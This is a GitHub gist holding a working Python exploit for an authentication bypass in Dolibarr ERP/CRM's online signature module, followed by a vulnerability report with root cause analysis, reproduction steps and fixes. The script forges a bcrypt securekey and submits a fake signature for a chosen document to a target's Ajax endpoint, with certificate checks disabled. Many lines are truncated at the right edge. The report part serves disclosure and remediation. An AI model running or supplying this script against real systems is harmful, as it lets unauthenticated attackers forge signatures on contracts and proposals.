Shaon-Xis / **dolibarr_cve_poc.py** Secret

Created 3 weeks ago

Code Revisions 1

dolibarr_cve_poc.py

dolibarr_cve_poc.py

```
#!/usr/bin/env python3
"""
Dolibarr ERP/CRM - Online Signature Authentication Bypass PoC
-------------------------------------------------------------
This script demonstrates an authentication bypass vulnerability in the Online Signature
module of Dolibarr. If the specific online signature security token (e.g.,
PROPOSAL_ONLINE_SIGNATURE_SECURITY_TOKEN) is not configured or is empty, and the system
is configured to use 'password_hash' as the MAIN_SECURITY_HASH_ALGO, an attacker can
bypass the validation mechanism by generating and supplying their own bcrypt hash.

The vulnerability resides in htdocs/core/lib/security.lib.php within `dol_verifyHash()`.
The function delegates to `password_verify()` without prepending the system-wide secret,
allowing an attacker to provide a self-generated bcrypt hash with a chosen salt.

Date: 2024-04
"""

import argparse
import urllib.parse
import sys
import requests

try:
    import bcrypt
except ImportError:
    print("[-] Missing required library. Please install bcrypt: pip install bcrypt")
    sys.exit(1)

def generate_secure_key(doc_type, ref, entity):
    """
    Generate a forged securekey using bcrypt.
    The string to hash is: <type><ref><entity> (if multicompany is enabled/active)
    """
```

```
    # The chain when the specific token is empty
    chain = f"{doc_type}{ref}{entity}"
    print(f"[*] Base string to hash (chain): '{chain}'")

    # Generate bcrypt hash
    # Note: Python's bcrypt generates hashes with '$2b$', which is compatible
    # with PHP's 'password_verify()', but we can safely substitute it with '$2y$'
    # to perfectly match PHP's default bcrypt identifier.
    salt = bcrypt.gensalt(rounds=10)
    hashed = bcrypt.hashpw(chain.encode('utf-8'), salt).decode('utf-8')
    php_compatible_hash = hashed.replace('$2b$', '$2y$', 1)

    print(f"[*] Generated forged securekey: {php_compatible_hash}")
    return php_compatible_hash

def exploit(target, doc_type, ref, entity):
    print(f"[*] Target URL: {target}")
    securekey = generate_secure_key(doc_type, ref, entity)

    # 1. Print the URL to manually access the public signing form
    params = {
        'source': doc_type,
        'ref': ref,
        'securekey': securekey,
        'entity': entity
    }
    query_string = urllib.parse.urlencode(params)
    public_url = f"{target.rstrip('/')}/public/onlinesign/newonlinesign.php?{query_string}

    print("\n[+] Success! You can use the forged link below to access the signing interfac
    print(f"    {public_url}")
    print("\n[*] Attempting to forge and submit a signature directly via Ajax API...")

    # 2. Attempt to sign the document directly via the Ajax endpoint
    ajax_url = f"{target.rstrip('/')}/core/ajax/onlineSign.php"

    # A basic 1x1 blank PNG encoded in base64 to act as the signature image
    fake_signature_b64 = "

    payload = {
        'action': 'importSignature',
        'signaturebase64': fake_signature_b64,
        'onlinesignname': 'PwnedByPoC',
        'ref': ref,
        'mode': doc_type,
        'securekey': securekey,
        'entity': entity
    }

```

```
    try:
        response = requests.post(ajax_url, data=payload, verify=False)
        if response.status_code == 200 and "success" in response.text:
            print(f"[+] Exploitation successful! The document '{ref}' has been signed.")
        elif response.status_code == 403:
            print("[-] Exploit failed. Status 403 Forbidden. The token might not be empty,
        else:
            print(f"[-] Received unexpected response (Status {response.status_code}):\n{re
    except Exception as e:
        print(f"[-] Connection error: {e}")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Dolibarr Online Signature Bypass Exploit
    parser.add_argument("-t", "--target", required=True, help="Base URL of Dolibarr (e.g.,
    parser.add_argument("--type", required=True, choices=['proposal', 'contract', 'fichint
    parser.add_argument("--ref", required=True, help="Document reference (e.g., PR2404-000
    parser.add_argument("--entity", default="1", help="Multicompany entity ID (default: 1)

    args = parser.parse_args()

    # Disable insecure request warnings if testing against local/self-signed SSL
    requests.packages.urllib3.disable_warnings()

    exploit(args.target, args.type, args.ref, args.entity)
```

gistfile1.txt

```
# Vulnerability Report: Unauthenticated Authentication Bypass in Dolibarr Online Signature

## 1. Vulnerability Summary
**Vulnerability Title:** Unauthenticated Bypass of Online Document Signature Validation
**Target Product:** Dolibarr ERP/CRM
**Vulnerability Type:** Improper Authentication (CWE-287) / Authentication Bypass
**Severity estimation:** Critical (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N - Base Sco

## 2. Description
An authentication bypass vulnerability has been identified in Dolibarr's online signature

The vulnerability manifests under a specific but common configuration:
1. The global security token for the document (e.g., `PROPOSAL_ONLINE_SIGNATURE_SECURITY_T
2. The system-wide hash algorithm (`MAIN_SECURITY_HASH_ALGO`) is configured to `password_h

When these conditions are met, the underlying `dol_verifyHash` function bypasses the globa

## 3. Technical Analysis (Root Cause)
The vulnerability chain combines two distinct implementation flaws:

### Flaw A: Predictable Signature Chain when Token is Empty
In `htdocs/core/ajax/onlineSign.php`, the script retrieves the document-specific secret to
```

````
23
24  ```php
25  $securekeyseed = getDolGlobalString('PROPOSAL_ONLINE_SIGNATURE_SECURITY_TOKEN'); // Become
26  if (empty($SECUREKEY) || !dol_verifyHash($securekeyseed . $type . $ref . (!isModEnabled('m
27      // Access Forbidden
28  }
29  ```
30  Example resulting `$chain`: `"proposal" + "PR2404-0001" + "1" = "proposalPR2404-00011"`
31
32  ### Flaw B: `password_verify` Salt Bypass
33  Inside `htdocs/core/lib/security.lib.php`, the `dol_verifyHash` function delegates passwor
34
35  ```php
36  function dol_verifyHash($chain, $hash, $type = '0')
37  {
38      if ($type == '0' && getDolGlobalString('MAIN_SECURITY_HASH_ALGO') == 'password_hash' &
39          if (! empty($hash[0]) && $hash[0] == '$') {
40              return password_verify($chain, $hash);
41          }
42      }
43      // ...
44  }
45  ```
46  Unlike custom MD5/SHA1 implementations that prepend a hidden `MAIN_SECURITY_SALT`, `passwo
47
48  ## 4. Steps to Reproduce
49  1. Ensure the Dolibarr instance has `MAIN_SECURITY_HASH_ALGO` set to `password_hash`.
50  2. Ensure the document's online signing feature is enabled, but the `PROPOSAL_ONLINE_SIGNA
51  3. Identify a valid pending proposal reference (e.g., `PR2404-0001`).
52  4. Generate an offline bcrypt hash using the known `$chain` string. In Python:
53     ```python
54     import bcrypt
55     # chain = type + ref + entity
56     chain = "proposalPR2404-00011"
57     hash = bcrypt.hashpw(chain.encode(), bcrypt.gensalt()).decode()
58     php_hash = hash.replace('$2b$', '$2y$', 1)
59     print(php_hash)
60     ```
61  5. URL-encode the generated `php_hash`.
62  6. Visit the public online signature URL with the forged `securekey`:
63     `https://[dolibarr-host]/public/onlinesign/newonlinesign.php?source=proposal&ref=PR2404
64  7. (Alternatively) Directly submit a POST request to `/core/ajax/onlineSign.php` to immedi
65
66  ## 5. Potential Impact
67  An unauthenticated external attacker can intercept or manipulate the signing workflow, uni
68
69  ## 6. Recommended Fix / Mitigation
70  1. **Enforce Token Generation:** Ensure that `_ONLINE_SIGNATURE_SECURITY_TOKEN` cannot be
71  2. **Hash Implementation Independence:** The `dol_verifyHash` function should distinguish
````